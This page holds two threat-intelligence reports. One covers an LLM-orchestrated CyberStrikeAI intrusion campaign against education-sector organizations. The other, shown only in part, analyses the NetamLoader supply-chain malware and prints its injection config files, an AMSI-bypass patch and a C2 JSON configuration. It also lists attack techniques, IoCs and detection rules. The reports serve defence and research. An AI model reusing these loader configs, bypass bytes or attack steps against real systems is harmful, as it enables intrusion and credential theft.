Tag: Targeted attacks

  • CyberStrikeAI in the wild: the use of AI in real-world attacks on organizations

    CyberStrikeAI in the wild: the use of AI in real-world attacks on organizations

    Introduction

    As part of proactive threat monitoring, Kaspersky’s Cyber Threat Intelligence team identified a malicious campaign involving C2 agents controlled by artificial intelligence. Confirmed victims of the campaign included organizations in the education sector in several countries across Africa and Latin America. CyberStrikeAI played a key role in the post-exploitation phase. This is an open-source framework in which an LLM orchestrator on the command-and-control server plans actions, selects tools, and generates commands, while an implant executes them on compromised hosts. Using CyberStrikeAI, the attackers progressed from reconnaissance to full domain compromise.

    According to our data, this is one of the first public descriptions of a compromise involving an LLM in the wild. The campaign we discovered clearly illustrates how the role of AI in attackers’ arsenals is evolving: until recently, language models were used primarily during preparatory stages – for writing phishing emails, debugging code, or searching for vulnerabilities. Now, however, they are being embedded into the very core of the attack, automating actions at every stage: payload execution, persistence on the host, discovery, lateral movement, and, finally, data collection and exfiltration. Post-exploitation – the stage that traditionally required manual work by an experienced operator – plays a particularly significant role here.

    A key feature of the scheme using the CyberStrikeAI framework is that the implant ceases to be a simple tool for executing the operator’s commands. Decisions are distributed across two levels: the operator defines the task in general terms, while the model determines how to execute it – specifically, which commands to send to the host and in what sequence. Thus, the strategic planning remains with the human, while the choice of technical steps is delegated to the model, and the implant executes the model’s decisions.

    To understand how this scheme works in practice, let’s examine the chain of actions taken by the attackers, as reconstructed by our analysts during the incident investigation.

    Timeline of the attack

    Let’s examine the timeline of the attack using an example from one incident within the detected campaign.

    The first phase follows a standard approach: a human operator gains access to the victim’s infrastructure via a compromised SQL Server (version 16.0.1000), then collects basic information about the host, deploys tools, and conducts network reconnaissance. All of this activity takes nearly a day, followed by a two-week pause.

    The second phase is fundamentally different. The first step involves deploying the CyberStrikeAI C2 agent, which receives commands from a server-based LLM orchestrator. During the second phase, the agent performs the following:

    • establishing persistence and conducting local reconnaissance within 2 minutes;
    • conducting domain reconnaissance over the next 5 hours;
    • after a brief pause of several days, moving on to the final stage – lateral movement via SMB and WMI, mass credential dumping on hosts, and database export – with the entire operation taking no more than one hour.

    We’ll discuss these stages in more detail in the next section.

    Technical details

    CyberStrikeAI overview

    CyberStrikeAI is an open-source, modular platform written in Go for automating penetration testing. Its key feature is combining LLM-based attack orchestration and a built-in C2 server with agents (beacons) within a single server process.

    The entire “intelligent” layer is isolated on the control server. C2 functions (calling reconnaissance and exploitation utilities, managing webshell connections, assigning tasks to agents, and reading results) are available to the model as MCP tools. The implant is a classic C2 agent with no AI functionality – no API keys, no calls to AI service APIs, and no autonomous logic. It periodically polls the listener server via HTTP/S, TCP, or WebSocket, executes shell commands, and interacts with the file system. To the victim, this activity looks like a typical remote-control session, where a server-side LLM orchestrator queues tasks instead of a live operator. The LLM influences how decisions are made, but not how the corresponding commands are delivered to the host.

    Although CyberStrikeAI is publicly available, specific instances of the framework can be linked to specific attackers or campaigns. Detection and attribution are possible based on the following artifacts:

    • Control panel: Upon launch, a self-signed TLS certificate is generated, with the framework’s name appearing in the issuer and subject fields. The certificate is created in memory at each startup, so the not_before field effectively records the time the process was launched. Accordingly, as with Cobalt Strike, the chronology of restarts can be reconstructed from the scan history.
      CyberStrikeAI control panel's self-signed TLS certificate

      CyberStrikeAI control panel’s self-signed TLS certificate

    • Implant: The build metadata (go version -m) contains a path to the main package, which includes data pointing to the built-in CyberStrikeAI generator – a temporary directory with the build identifier. This path is identical for all payloads, making it a reliable signature. Additionally, the build info field contains version control system metadata, which can be used to compare samples against one another.
    • Authentication: When communicating with the server, the implant sends an X-Implant-Token header with a fixed value in the HTTP request. The token is unique to each C2 server and is embedded into the malicious payload during the build phase; therefore, it serves as both a network indicator and a sign that the samples belong to the same server.
    HTTP header parameters sent by the implant to the server

    HTTP header parameters sent by the implant to the server

    It should be noted that the implant version does not reflect the server version. The implant can operate for months while the operator updates the server-side components: listener configurations and keys are preserved during updates. In the incidents we detected, we observed the use of a single agent version throughout the entire incident. In such cases, the sample’s build date may indicate the earliest possible deployment date of the CyberStrikeAI infrastructure, but it still does not provide an estimate of the compromise duration.

    Execution & Privilege Escalation

    The first malicious commands on the victims’ systems in the campaign under investigation originated from the sqlservr.exe process, indicating the likely initial access vector and the context in which the attackers gained the ability to execute code. It is important to note that the commands marked as having been executed prior to agent installation were executed manually by the attacker specifically within the context of this process. At this stage, we are not yet dealing with automated implant activity, but rather with manual actions by the operator.

    Before launching the agent on the machines, the attackers checked for its presence using a PowerShell script, from which we can deduce its default deployment paths: C:\Windows\Temp\, C:\Windows\, C:\ProgramData\, C:\Temp. At the same time, the attacker can disguise the agent’s name as that of a legitimate system process. In the example below, it mimics svchost.exe (svchosts.exe)

    Checking for the presence of the CyberStrikeAI agent on the system

    Checking for the presence of the CyberStrikeAI agent on the system

    Delivery and execution of the CyberStrikeAI agent

    Delivery and execution of the CyberStrikeAI agent

    Like most C2 agents for Windows, CyberStrikeAI uses PowerShell to execute its payload. When a request is received from the operator, the commands to be executed are additionally encoded in Base64 to bypass keyword-based detection.

    Decoded form of the command:

    When administrative privileges were available (for example, a domain administrator account), instead of executing commands directly, the agent on remote hosts often created scheduled tasks so that the malicious payload would run with SYSTEM privileges:

    An alternative method that does not use schtasks utility is to create a task via the Schedule.Service COM object:

    The payload (p1.ps1) from the example above is a reverse shell that connects to the server at 185.186.245[.]144:5501:

    The p1.ps1 payload and similar scripts were distributed across the network using shared network administrative folders and the WMI protocol, which we will describe in more detail in the Lateral Movement section.

    Stealth

    In addition to encoding commands in Base64 and obfuscating SQL/LDAP queries – which we will describe in the Collection & Exfiltration and Discovery sections, respectively – the attackers split the malicious payload into multiple files. It is noteworthy that the scripts were transmitted in this manner even before the agent was installed – that is, at a stage where human intervention is typically required – yet they clearly bear the hallmarks of being generated by an LLM.

    Below is a sequential record of several script fragments written to the file d3.b64.

    Subsequently, the attackers used the certutil utility to decode the resulting file and executed it with the following command:

    Once assembled and decoded, the script’s contents looked like this:

    The script is a tool for decrypting DPAPI secrets from the file C:\ProgramData\dsn_line.txt. This file, in turn, is populated by the following command, which searches for a DSN string containing connection settings in the SQL Server Reporting Services configuration file rsreportserver.config and copies its contents to dsn_line.txt.

    It is worth noting that some of the scripts delivered and executed as described above contain comments in Chinese (##  –  researcher’s comments).

    Persistence

    If the CyberStrikeAI implant was successfully delivered, the first step was to establish persistence on the target system. To do this, the agent created a scheduled task named SystemUpdate, which specified the path to the implant as the action to be performed:

    Analysis of the framework’s source code revealed an alternative method of persistence: by adding a value to the registry key HKCU\Software\Microsoft\Windows\CurrentVersion\Run, where the name of the created value matches the task name (SystemUpdate).

    Agent persistence on Linux systems is also implemented in two ways – by adding the entry @reboot <path_to_beacon> & to the user’s crontab (in which case the process runs at system startup), or by adding the line (nohup <path_to_beacon> &>/dev/null &) to ~/.bashrc (in which case the agent starts when an interactive bash shell is opened).

    It is worth noting that the choice of a specific persistence method is delegated to the LLM connected to CyberStrikeAI. However, thanks to the human-in-the-loop (HITL) mechanism, the operator retains full control over the process: commands generated by the model may require manual approval or correction before they are executed.

    Discovery

    Local Discovery

    Before installing the agent on a compromised host, the attackers manually gathered basic system information using a fairly trivial set of commands:

    The attackers also manually checked for internet access and obtained the external IP addresses of the compromised machines using the Chinese service dnslog[.]cn. The service generates a random third-level domain, after which the attackers attempt to resolve it on the compromised machine.

    If the machine has internet access, the request succeeds, and the attackers obtain the external IP address of the compromised device on the service’s page.

    For reconnaissance purposes, the agent generates a more complex script designed to map out a path for further privilege escalation by compromising SCCM or exploiting msiexec (the AlwaysInstallElevated key):

    Additionally, to find ways to elevate privileges locally, the agent executed scripts to inventory services running under domain accounts and tasks running under the SYSTEM account:

    During their activity, the attackers periodically checked for Microsoft Defender detections:

    Remote Discovery

    After gathering information about the compromised host, the attackers proceeded to conduct reconnaissance within the network. During the preparatory phase of the attack, they manually collected additional information about remote hosts using the net.exe utility.

    During the main phase, the agent used PowerShell’s built-in functionality to detect accessible hosts without relying on additional utilities (such as nmap or fscan):

    Additionally, relevant LDAP queries to Active Directory objects helped build a network map:

    Furthermore, the presence of the installed agent on remote hosts was verified using WMI:

    Domain Discovery

    The next step was to gather information about the victims’ domains. To this end, before installing the agent, the attackers used standard OS utilities:

    However, later on, using the CyberStrikeAI implant, reconnaissance was carried out via generated PowerShell scripts:

    In addition to basic domain information, the agent performed LDAP queries to gather information for Kerberoasting and AS-REP Roasting attacks:

    Finally, the agent was used to check the domain for the presence of LAPS and Microsoft Azure:

    To detect signs of Microsoft Azure usage within the infrastructure, the attackers also searched for the .azcopy directory – created by the AzCopy (Microsoft Azure Storage Copy) utility – in users’ home directories:

    Credential Access

    After successfully conducting reconnaissance and mapping the network, the attackers moved on to the next stage – dumping credentials. For this purpose, the agent used a classic set of LOLBINs and well-known third-party tools.

    The agent dumped registry hives containing credentials using the reg.exe utility:

    The agent dumped the lsass.exe process using the MiniDump function of the comsvcs.dll library. In doing so, the target process’s PID was used instead of its name to make static detection based on the command line more difficult:

    After successfully compromising privileged domain accounts (specifically, the built-in domain administrator), the attackers also carried out DCSync and Golden Ticket attacks via the agent using a renamed version of the mimikatz utility:

    Lateral Movement

    To spread across the network using compromised accounts, the attackers employed utilities from the Impacket toolkit, specifically WMIExec, as indicated by the utility’s characteristic command line:

    Once installed, the agent prefers to use standard OS mechanisms, such as shared network folders.

    Another method the agent uses to remotely execute commands is the WMI protocol. In particular, the agent used it to distribute the aforementioned p1.ps1 reverse shell script. This involved using compromised user accounts with local administrator privileges on the target hosts:

    A second method of lateral movement via WMI uses the Invoke-CimMethod cmdlet:

    Command & Control

    To deliver the aforementioned tools (malicious scripts, mimikatz, and the agent itself) to the initial nodes in the infection chain, the attackers used standard OS utilities:

    After the agent is installed, it checks the availability of the C2 server’s ports. The implementation mechanisms here are virtually unlimited and depend on the “creativity” of the respective LLM agents connected to the server:

    To download additional utilities, the CyberStrikeAI implant also used built-in utilities (LOLBINs). The tools could be hosted on the attackers’ own servers or downloaded directly from GitHub:

    Collection & Exfiltration

    The data collection phase deserves special attention. It demonstrates yet another capability of LLM orchestration – the automatic generation of SQL and LDAP queries tailored to a specific task.

    In one incident during the campaign, the attackers deployed the CyberStrikeAI implant on an educational organization’s SQL server and collected information from the database via PowerShell. Here is an example of a command executed by the agent:

    Normalized view of the executed script with comments:

    Before accessing the data, the agent checked the privileges of the account under which it connected to the database:

    In decoded form, the check looks as follows:

    On network resources, file collection was preceded by a recursive directory scan to identify files of interest.

    To interact with the file system, the implant provides a built-in interface that supports direct uploading and downloading of files. Files are transferred directly via the main encrypted communication channel with the C2 server (HTTP or TCP), and the data itself is encoded in Base64 and packaged into the agent’s standard JSON responses.

    Another built-in capability of the implant is taking screenshots of the infected machine. As with other actions, the implant does not initiate this on its own: the command to capture the screen is issued by the LLM orchestrator, and the agent merely executes it and returns the result via the same control channel.

    On Windows, the command for taking screenshots looks like this:

    The Linux version looks like this:

    In the incidents we detected, data collection was the final stage of the attack: the chain ended there, and we observed no further activity.

    Attribution

    The key artifact for attribution in this campaign is the implant’s build metadata. The attackers built the malicious payload inside a Git clone of the project, so the Go compiler embedded version control system information into the binary files – the hash and commit time, as well as the vcs.modified=true flag (analogous to the +dirty suffix) – indicating uncommitted local changes in the working copy. The combination of these fields forms a unique fingerprint for a specific build.

    Based on this fingerprint, the samples are divided into two independent groups, in each of which the Windows implant and the Linux implant have completely identical build metadata. A match indicates that, within each group, both payloads were built from the same project working copy.

    Identical build metadata for the Windows and Linux implant samples, indicating a shared build environment

    Identical build metadata for the Windows and Linux implant samples, indicating a shared build environment

    However, these groups do not overlap with one another. They do not share a common C2 infrastructure, and different versions of CyberStrikeAI are deployed on the command-and-control servers. In other words, the build metadata reliably links the samples within each group but does not provide grounds for linking the two groups together.

    Differences in CyberStrikeAI versions on the command-and-control servers

    Differences in CyberStrikeAI versions on the command-and-control servers

    The available data does not allow us to link the activity to any known group of attackers, nor to state with certainty that the same operator is behind both campaigns. Two factors prevent this. First, the tool’s openness: CyberStrikeAI is publicly available, so different operators could have independently deployed it and assembled malicious payloads under similar conditions. Second, command generation by the model: the “signature” characteristic of a specific operator is largely shaped not by a human but by an LLM. On the one hand, this increases the diversity of commands: the same command, when generated multiple times, can look different. On the other hand, it strips them of their individual characteristics, which reduces the value of behavioral metrics for attribution.

    However, the Chinese-language comments found in the attackers’ scripts and the use of Chinese services still suggest a connection between the activity and a Chinese-speaking operator. In addition, analysts noted the timing of the control servers’ restarts: since the self-signed TLS certificate is regenerated each time the process starts, its not_before field records the restart time, and most of these restarts occurred during business hours in the UTC+8 time zone.

    The origin of the tool itself also indirectly points in the same direction: CyberStrikeAI was developed within the Chinese cybersecurity community and is well known there.

    In summary

    CyberStrikeAI is a telling – though not unique – example of a shift occurring within the class of C2 frameworks: the LLM orchestrator is no longer merely an add-on to reconnaissance but has become a control layer over post-exploitation. If HexStrike AI and similar tools cover the “find and break” phase, and Sliver/Mythic/Havoc cover the “establish a foothold and control” phase, CyberStrikeAI completes the kill chain: a single server-side process written in Go executes utilities via MCP, handles webshell connections, and assigns tasks to the implant, while the model analyzes the results and decides what to do next.

    The key takeaway is that the introduction of AI into the attack chain does not yet present fundamentally new challenges for detection. All the “intelligent” work remains on the attacker’s side, while the compromised host is subjected to familiar actions: from reconnaissance via Kerberoasting and AS-REP Roasting to LSASS dumps, DCSync, and the Golden Ticket attacks. This is a typical, well-documented set of domain compromise techniques. The novelty of the attack lies not in the methods themselves, but in the speed and ease with which they were executed: AI orchestration has lowered the skill requirements for the operator, but has not taken the attack beyond what defenders already know and are capable of detecting. The timing is also telling: individual key phases of the activity (such as establishing a foothold, lateral movement, and obtaining credentials) took only a few hours, and the entire attack – from agent deployment to the compromise of domain administrators – was completed within 3–4 days.

    However, the CyberStrikeAI architecture does not limit users to the scenario described. The same mechanisms allow for the on-demand assembly of more complex chains – including DPAPI secret extraction and attacks on SCCM and Azure IMDS – all of which are within reach of the same group of actors, with a relatively low skill barrier. As the models evolve, the gap between the complexity of orchestration and the level of techniques used will narrow, and the operator’s role will gradually shift from setting tasks to monitoring the model’s actions.

    Detection by Kaspersky solutions

    It may seem that attacks using AI agents require the creation of fundamentally new detection rules. Indeed, to detect the activity of an LLM agent installed on a host within the infrastructure, it is necessary to create detection logic based on the specific characteristics of the agents. Detection rules for this activity can be found using Hunt Hub with the following filter.

    However, in the case of the attack described, a different logic applies. The main difference lies in the architecture of the attack itself: the LLM agent was not located within the corporate network perimeter. It operated remotely via a C2 agent, orchestrating actions, and left no traces of its presence in the infrastructure (such as specific API requests to local LLMs or anomalous patterns of resource consumption by hosts).

    The key difference between this activity and an attack by an experienced human operator lies largely in speed. Tactically, technically, and methodologically, AI, for the most part, uses exactly the same tools, utilities, and techniques as a human penetration tester. It does not write unique exploits from scratch, but rather combines known methods and dynamically adapts them to the situation, handling the tools’ errors on its own.

    Since the actions performed by an AI agent on the network are indistinguishable from those of a human, classic, well-tuned correlation and behavioral analysis rules are sufficient to detect it. Here are a few examples of how Kaspersky Next EDR Expert successfully detects the attack described:

    Kaspersky Anti Targeted Attack (KATA) is used to detect malicious activity in network traffic. Communication between CyberStrikeAI agents and the command-and-control server occurs without accessing AI platforms such as ChatGPT or Claude. Instead, the agent’s C2 server is an infrastructure pre-configured by the attackers, just as in attacks that do not use AI agents. Analysis of decrypted network traffic using NDR-class solutions reveals characteristic communication patterns of CyberStrikeAI agent activity. When these patterns are detected, KATA generates an alert with the verdict Backdoor.CyberStrikeAI.HTTP.C&C.

    Alert regarding the detection of CyberStrikeAI communication with a C2 server

    Alert regarding the detection of CyberStrikeAI communication with a C2 server

    To detect post-exploitation activity, you can use not only IDS technology but also NAD (Network Anomaly Detection). It analyzes all traffic for suspicious indicators that do not correspond to a node’s typical network activity.

    For example, actions performed by CyberStrikeAI during the Domain Discovery phase are detected by an NDR:NAD rule named “Scanning domain records via LDAP queries.”

    NDR:NAD alert: reconnaissance via LDAP queries detected

    NDR:NAD alert: reconnaissance via LDAP queries detected

    You can learn more about NDR:NAD technology in our article on Securelist.

    You can also visualize the connections between C2 addresses and files used by attackers in the Research Graph section of the Kaspersky Threat Intelligence Portal. This includes tracking the emergence of new CyberStrikeAI implants that communicate with malicious addresses.

    Visualization via the Research Graph on the Kaspersky Threat Intelligence Portal

    Visualization via the Research Graph on the Kaspersky Threat Intelligence Portal

    In addition, the Threat Lookup service available on the portal allows you to determine whether malicious files belong to CyberStrikeAI using attribution mechanisms based on the executable file’s code.

    Demonstration of attributing a malicious implant to the CyberStrikeAI framework

    Demonstration of attributing a malicious implant to the CyberStrikeAI framework

    Kaspersky SIEM detects all stages of an attack by the CyberStrikeAI agent. The product repository contains over 100 rules for detecting the techniques discussed in this article; we will list the most critical ones below.

    Execution of various commands from the sqlservr.exe process:

    • R300_04_Windows shell started by a web application

    Downloading and executing a payload via PowerShell:

    • R110_03_PowerShell code downloaded and executed

    Creating Windows scheduled tasks:

    • R099_04_Suspicious arguments when running schtasks.exe
    • R300_03_Windows shell started by the scheduler

    Persisting via crontab or bashrc:

    • R099_06_Suspicious cron job activity
    • R405_02_UNIX shell configuration modification

    Rules located at the KUMA Packages/SOC package/Configuration discovery path detect the collection of information about hosts, network settings, and domains using various reconnaissance tools. Rules that aggregate detections by reconnaissance tools:

    • R224_14_Windows reconnaissance activity
    • R224_09_System information discovery by running multiple utilities within a short period
    • R224_04_System information discovery via standard Linux tools

    Data collection for Kerberoasting and AS-REP Roasting:

    • R034_01_Multiple TGS ticket requests (Kerberoasting)
    • R452_18_AS-REP Roasting

    Dumping registry hives containing credentials using the reg.exe utility:

    • R230_02_Copying data containing credentials from the Windows registry

    Dumping the lsass.exe process using the MiniDump function of the comsvcs.dll library:

    • R233_04_Process memory dump via comsvcs.dll
    • R262_Suspicious access to the LSASS process

    DCSync and Golden Ticket attacks using the renamed mimikatz utility:

    • R073_DC Sync attack
    • R450_41_Golden Ticket Attack
    • R100_03_Traces of Mimikatz use via cmd

    Lateral movement using WMIExec:

    • R460_08_Lateral movement using WMIexec Impacket
    • R460_09_Lateral movement using WMIExec and Impacket

    For the rules to work, you must configure the SIEM system to receive the relevant events:

    • Process launches (Windows security log – 4688, auditd – execve) and PowerShell commands (4104)
    • User logins to the system (Windows security log – 4624, 4768, 4769)
    • Various object manipulations (Windows security log – 4662, 4663, 4656; auditd – openat)
    • Interaction with shared resources (Windows security log – 5145)

    Indicators of compromise

    File-based indicators:

    CyberStrikeAI Windows Beacon
    D726A8B4886C636F76CA6D30EF6A6FF4 c:\windows\temp\svchosts.exe
    2770562d104391b92b42671c270079bb c:\windows\temp\svcmon32.exe
    c:\programdata\svcmon32.exe
    CyberStrikeAI Linux Beacon
    09e1da2afa1216ecc55648ec8e122d2a
    805B9E4AE74C903787416800999B8418
    Tools & Scripts
    29EFD64DD3C7FE1E2B022B7AD73A1BA5 C:\Windows\Temp\wdiag2.exe (mimikatz)
    74F57B3E897A4960DCDD5B7E8A54F9DF c:\rwx\RogueWinRM.exe
    0BBD08AF95F877F1D568B03DE2EB76B4 c:\ProgramData\p1.ps1 (reverse shell PS script)

    Network indicators:

    185.186.245[.]144 C2 for Windows Beacon
    fastcdn[.]bar C2 for Windows Beacon
    media.fastcdn[.]bar C2 for Linux Beacon
    104.234.26[.]163 C2 for Payload Delivery + Linux Beacon

    Source: Securelist (Kaspersky GReAT) · 2026-11-02

  • Unknown APT uses NetamLoader to attack a Win10 OS customized for governments in Asia

    Unknown APT uses NetamLoader to attack a Win10 OS customized for governments in Asia

    Introduction

    A couple of months ago, our research revealed a highly sophisticated infection chain and a complex .NET assembly-loading framework built on XAML markup, which strongly indicates a supply-chain attack targeting a custom Windows build used exclusively by government entities in Asia. The malicious framework has been labeled NetamLoader; at present, no attribution to any known APT group has been established.

    The sample came to light in the first half of 2026, when Kaspersky Security Network (KSN) issued a malware detection alert for a .config file using AppDomainManager injection to load arbitrary .NET assemblies. The file was packaged inside a CAB archive placed in the directory that stores Windows operating system update packages. Initial analysis of the CAB contents found no malicious code: most executables were legitimate components of the third-party patch management tool Patch My PC, and even the .NET assemblies used for the injection were Microsoft-signed. A later re-examination of the original .config file and the full loading process revealed the infection chain and framework described in this report.

    Kaspersky’s products detect this threat as HEUR:Trojan.MSIL.NetamLoader.gen, Trojan.MSIL.Zapchast.*, and Trojan.Script.Agent.*.

    Background

    During routine threat hunting, KSN sent us a malware detection alert. The notification flagged a .config file that employed AppDomainManager injection to load arbitrary .NET assemblies. The file was compressed into a CAB archive named e4537a1762fcafd2fd96bfc825bad34f9db9a24d and saved in the folder that stores Windows operating system update packages. Below is the full path to this archive:

    C:\Windows\SoftwareDistribution\Download\e4537a1762fcafd2fd96bfc825bad34f9db9a24d

    Starting with this CAB archive, we uncovered a highly complex infection chain that uses a previously unknown advanced loading framework.

    Initial infection

    The CAB file contains the following seven files, which are extracted and placed in the path C:\Windows\SoftwareDistribution\Download\Install\:

    Files compressed in the CAB file

    Files compressed in the CAB file

    Except for Resources.resx, none of the files contain malicious code. We did not observe how the CAB file was delivered to the victim; we only saw the process PatchMyPC-ScriptRunner.exe running with the following arguments:

    C:\Windows\SoftwareDistribution\Download\Install\PatchMyPC-ScriptRunner.exe -updatepackage -applicationid=xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx

    After the file is launched in this manner, the infection chain progresses to stage 1.

    Stage 1

    Starting with the execution of PatchMyPC-ScriptRunner.exe, which then served as a host process for loading several payloads, we identified a complex two‑stage loading mechanism with multiple steps. The overall flow of stage 1 is summarized in the diagram below.

    Infection chain: Stage 1

    Infection chain: Stage 1

    Step 1

    The AppDomainManager injection technique is used to load an arbitrary .NET assembly. With this mechanism, when PatchMyPC-ScriptRunner.exe runs, the accompanying configuration file PatchMyPC-ScriptRunner.exe.config in the same directory is loaded before the executable’s main function runs. Below is the content of PatchMyPC‑ScriptRunner.exe.config.

    <?xml version="1.0" encoding="utf-8" ?>
    <configuration>
    	<runtime>
    		<appDomainManagerType  value="Microsoft.ApplicationServer.Caching.DataCacheFactoryConfiguration">
           </appDomainManagerType>
    		<appDomainManagerAssembly  value="Microsoft.HostIntegration.Connectors, Version=1.0.0.0, 
                        Culture=neutral, PublicKeyToken=31bf3856ad364e35">
           </appDomainManagerAssembly>
    		<NGenAssemblyUsageLog enabled="0" />
    	</runtime>
        <startup> 
            <supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.6" />
        </startup>
    </configuration>

    According to the configuration file, the class Microsoft.ApplicationServer.Caching.DataCacheFactoryConfiguration from the Microsoft.HostIntegration.Connectors.dll module (a Microsoft‑signed assembly) is loaded. DataCacheFactoryConfiguration is the configuration class for the Windows Server AppFabric Cache Client, specifying the settings for a new cache client. When the configuration class is loaded, its instance first attempts to find and read the default configuration file, fabric.config, located in the same directory. The contents of fabric.config are shown below:

    <?xml version="1.0" encoding="utf-8"?>
    <section name="foo">
        <customType className="System.Resources.ResXResourceSet, System.Windows.Forms, 
                    Version=4.0.0.0, Culture=neutral, 
                    PublicKeyToken=b77a5c561934e089(Resources.resx)" />
    </section>

    Step 2

    The DataCacheFactoryConfiguration class has a design flaw that can be abused to load arbitrary assemblies. The fabric.config file is meticulously crafted. When the file is loaded, the DataCacheFactoryConfiguration instance examines its className attribute, loads the specified type (System.Resources.ResXResourceSet from the System.Windows.Forms assembly), and creates a ResXResourceSet instance, passing “Resources.resx” to its constructor for parsing.

    In the .resx file, multiple layers of payloads – including several XAML files, .NET assemblies, and JSON data – are encoded, compressed, or encrypted (see the diagram below). Each layer is unpacked and loaded by the layer above it. Once a layer finishes its operation, the next layer is extracted and loaded. Below, we analyze each layer in the order in which it is loaded:

    Multiple layers of payloads are compressed and encrypted in the .resx file

    Multiple layers of payloads are compressed and encrypted in the .resx file

    The Microsoft RESX schema defines the XML layout used by .resx files, which has a human-readable structure and can hold application resources: strings, images, icons, and serialized objects. The Resources.resx file contains a Base64‑encoded binary object that was serialized using the well‑known, highly vulnerable .NET BinaryFormatter class.

    Base64-encoded serialized binary object in Resources.resx

    Base64-encoded serialized binary object in Resources.resx

    Parsing this .resx file with ResXResourceSet causes the embedded Base64‑encoded binary payload to invoke BinaryFormatter.Deserialize(), triggering a deserialization vulnerability that enables a TypeConfuseDelegate attack. The TypeConfuseDelegate then invokes XamlReader.Parse(), which loads a XAML payload (named XAML-1) embedded within the binary object.

    XAML is a markup language for building user interfaces in .NET applications, but its capabilities extend far beyond that. Using two built‑in objects, ObjectDataProvider and ResourceDictionary, logic equivalent to C# code can be expressed in an XML‑like syntax.

    A code snippet of XAML-1

    A code snippet of XAML-1

    Step 3

    The XAML-1 code acts as a loader for an embedded payload. The process is as follows:

    1. Retrieve the full command line of the current host process PatchMyPC‑ScriptRunner.exe, converting all arguments to lowercase.
    2. Generate the AES key by hashing the command‑line string with SHA‑256.
    3. Decode the Base64 string embedded in XAML-1 into a binary array. Use the first 16 bytes of that array as the IV, then decrypt the remaining encrypted data with AES. The decrypted output is another piece of XAML code, which we refer to as XAML-2.
    4. Load XAML-2 into memory using the .NET API System.Windows.Markup.XamlReader.Load().
    5. If any exception occurs during decryption, trigger Environment.Exit(0), silently terminating the host process to prevent error messages that might reveal the attack.

    Stage 2

    XAML‑2 initiates stage 2 of the infection. The diagram below shows the overall flow of this stage.

    Infection chain: Stage 2

    Infection chain: Stage 2

    XAML‑2 contains two embedded Base64‑encoded sections. These sections are actually two additional XAML files (referred to as XAML-2-1 and XAML-2-2) that were first compressed with ZIP and then encoded in Base64. After decoding and decompressing, XAML-2 loads each file into memory separately with XamlReader.Load().

    A code snippet of XAML-2

    A code snippet of XAML-2

    XAML-2-1

    The first file consists of 796 lines. Its sole purpose is to hijack a key AMSI API to bypass anti‑malware scanning.

    Sensitive strings in XAML-2-1 are cut into tiny pieces

    Sensitive strings in XAML-2-1 are cut into tiny pieces

    To avoid detection by anti‑malware signature scans, sensitive strings are split into very short fragments. When XAML-2-1 is loaded and parsed, the fragments are reassembled into the original string.

    The key steps it takes to achieve its goal are as follows:

    1. Check the OS architecture by verifying whether IntPtr.Size equals 8. If it does not, the host process isn’t 64‑bit, so abort the hijack operation.
    2. Combine the split strings into a single CLSID GUID (fdb00e52-a214-4aa1-8fba-4357bb0072ec), then try to create an instance of the AMSI COM object using this GUID.
    3. Patch the AMSI module.
      • Create a delegate for the runtime method Console.Clear() and then obtain its native function pointer. Next, patch the method by overwriting its first bytes in memory with the binary payload (41 C7 00 01 00 00 00 33 C0 C3).
      • Obtain the native pointer of the AMSI COM object with Marshal.GetIUnknownForObject(). From this pointer, read the address of its virtual method table and add 0x18 to reach another pointer that holds the address of the CAmsiAntimalware::Scan method.
      • Use VirtualProtect() to make the Scan() pointer writable, change its value from the address of the CAmsiAntimalware::Scan() method to the address of the patched Console.Clear(), and then restore the pointer’s original protection attributes. Once this step is complete, every scan returns AMSI_RESULT_CLEAN (value = 0).

    One patch targets the Console.Clear() API, which resides in the memory space of an existing legitimate module, while the other modifies only the virtual tables of the AMSI module, allowing the malware to pass code integrity checks.

    XAML-2-2

    XAML-2-2 consists of two parts: a .NET module (the first loader, .NET 1 Loader) and a JSON data payload (the C2 configuration, JSON-1). Both components are compressed with ZIP and then encoded in Base64. XAML-2-2 first decodes and decompresses the .NET assembly .NET 1 Loader, then uses the Assembly.CreateInstance() API to create an instance of the .NET 1 Loader and passes the Base64‑encoded JSON-1 to the m.C() method of .NET 1 Loader as a parameter.

    .NET 1 Loader

    .NET 1 Loader decodes, decompresses, and parses JSON‑1. The decoded and decompressed JSON‑1 is shown below:

    {
        "p": "[Base64‑encoded JSON, which we call JSON‑1-p]"
        "c": "[Base64‑encoded JSON, which we call JSON‑1-c]"
    }
    • JSON-1-c
      This JSON contains the configuration data that .NET 1 Loader uses to report the execution results of the loaded payload to the C2 server.

      sc false Flag. Determines whether to report the execution result of m.C(). When set to false, reporting to C2 is skipped.
      c null Reporting C2 server. The result returned by the m.C() method of .NET 1 Loader is sent to this server.
      tp null Unknown item, suspected to be a trusted SSL certificate. Thumbprint was used to verify this alleged C2 certificate.
      e null The AES key that encrypts the JSON result returned by the m.C() method of .NET 1 Loader.
    • JSON-1-p
      JSON-1-p is a more complex configuration file. .NET 1 Loader parses its data to prepare and load the subsequent stages. The following configuration keys store the payloads:

      • oib: Base64‑encoded .NET 2 Plugin (PE file)
      • oub: Base64‑encoded XAML that invokes Exit(0)
      • ibk: AES key used to decrypt ibi
      • ibi: A Base64‑encoded collection of compressed, encrypted XAML templates used to build XAML-3. Detailed instructions for decrypting and assembling XAML‑3 are provided in the XAML‑3 section below.

      Other items are passed as C2 configuration to the .NET 2 Plugin at a later stage.

      [
          {
              "c": [
                  {
                      "cu": "https://openaigpt4v.com/model_v4/",
                      "tp": "*",
                      "rh": ""
                  }
              ],
              "mib": 79200,
              "mab": 100800,
              "mis": 1200,
              "mas": 2400,
              "e": "9fT04e03tAiZAPogcDWt0w==",
              "ii":  null,
              "aop": null,
              "oib": "TVqQAAMAAAAEAAAA//8AALgAAAAAA...",
              "oub": "PFJlc291cmNlRGljdGlvbmFyeS...",
              "wi": 100801,
              "ibk": "W7BHmIRBRY3FOIfWprbW/ZJh5GbPND3sY+qCBDY7O2A=",
              "ibi": "4pUDtQVbD6leQrDvtT3gaaCLec...",
              "de": false
          }
      ]

    After obtaining the configuration, .NET 1 Loader proceeds with the following key steps:

    1. Delete the update records from the system log related to the malicious update packages, along with the malicious files and cache files used in stage 1.
      • Delete malicious files extracted from the CAB
        PatchMyPC-ScriptRunner.exe.config
        fabric.config
        Resources.resx
      • Delete CLR usage logs and Windows system Prefetch cache files to eliminate evidence that could be used in forensic analysis.
        %LOCALAPPDATA%\Microsoft\CLR_v4.0\UsageLogs\PatchMyPC-ScriptRunner.exe.log
